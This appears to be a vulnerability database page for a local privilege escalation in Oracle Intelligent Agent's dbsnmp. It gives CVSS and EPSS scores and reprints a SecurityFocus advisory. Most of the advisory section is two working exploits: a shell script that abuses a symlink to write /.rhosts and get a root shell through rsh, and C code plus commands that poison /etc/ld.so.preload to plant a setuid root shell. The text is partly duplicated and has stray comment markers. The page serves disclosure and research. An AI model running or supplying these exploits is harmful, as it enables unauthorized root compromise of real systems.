CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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dbsnmp in Oracle Intelligent Agent allows local users to gain privileges by setting the ORACLE_HOME environmental variable, which dbsnmp uses to find the nmiconf.tcl script.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.73%
–
–
2022-02-13
–
–
1.73%
–
–
2022-04-03
–
–
1.73%
–
–
2022-06-19
–
–
1.73%
–
–
2022-10-30
–
–
1.73%
–
–
2022-11-20
–
–
1.73%
–
–
2022-11-27
–
–
1.73%
–
–
2023-01-01
–
–
1.73%
–
–
2023-01-15
–
–
1.73%
–
–
2023-03-12
–
–
–
0.04%
–
2024-02-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.45%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/585/info
A vulnerability in the Oracle Intelligent Agent allows local malicious users to execute arbitrary commands and to create world writable files as the root user.
The problem lies in the dbsnmp program located in $ORACLE_HOME/bin . This setuid root and setgid dba program trusts the environment variable ORACLE_HOME without verifying its contents. This vulnerability can be exploited in a number of ways.
The dbsnmp program calls a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. A malicious user can craft his own nmiconf.tcl script and fool the dbsnmp program to execute as root.
When run without ORACLE_HOME being set, dbsnmp will dump two log files out into the current working directory: dbsnmpc and dbsnmpt . If these files do not exist, dbsnmp will attempt to create them mode 666 and dump around 400 bytes of uncontrollable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus a malicious user can create world writable files in the system that do not exist (e.g. /.rhosts).
#!/bin/sh
# Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
# You'll probably have to change your path to dbsnmp
# Exploit will only work if /.rhosts does NOT exist
#
# Brock Tellier btellier@usa.net
cd /tmp
unset ORACLE_HOME
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo "+ +" > /.rhosts
rsh -l root localhost 'sh -i'
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts
// source: https://www.securityfocus.com/bid/585/info
A vulnerability in the Oracle Intelligent Agent allows local malicious users to execute arbitrary commands and to create world writable files as the root user.
The problem lies in the dbsnmp program located in $ORACLE_HOME/bin . This setuid root and setgid dba program trusts the environment variable ORACLE_HOME without verifying its contents. This vulnerability can be exploited in a number of ways.
The dbsnmp program calls a tcl script ( nmiconf.tcl ) located by default in $ORACLE_HOME/network/agent/config. A malicious user can craft his own nmiconf.tcl script and fool the dbsnmp program to execute as root.
When run without ORACLE_HOME being set, dbsnmp will dump two log files out into the current working directory: dbsnmpc and dbsnmpt . If these files do not exist, dbsnmp will attempt to create them mode 666 and dump around 400 bytes of uncontrollable output into them. If the files do exist, dbsnmp will append these 400 bytes but not change the permissions. Thus a malicious user can create world writable files in the system that do not exist (e.g. /.rhosts).
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid()) {
remove("/etc/ld.so.preload");
execl("/bin/bash","bash","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
}
*/
$ gcc -o oracle-ex.o -c oracle-ex.c -fPIC
$ gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 oracle-ex.o -nostartfiles
$ unset ORACLE_HOME
$ umask 0000
$ ln -s /etc/ld.so.preload /tmp/listener.log
$ /u01/app/oracle/product/8.0.5/bin/tnslsnr
$ echo /tmp/libno_ex.so.1.0 >/etc/ld.so.preload
$ telnet localhost
Trying ...
Connected to localhost.localdomain.
Escape character is '^]'.
Connection closed by foreign host.
$ ./xxxx
#
/*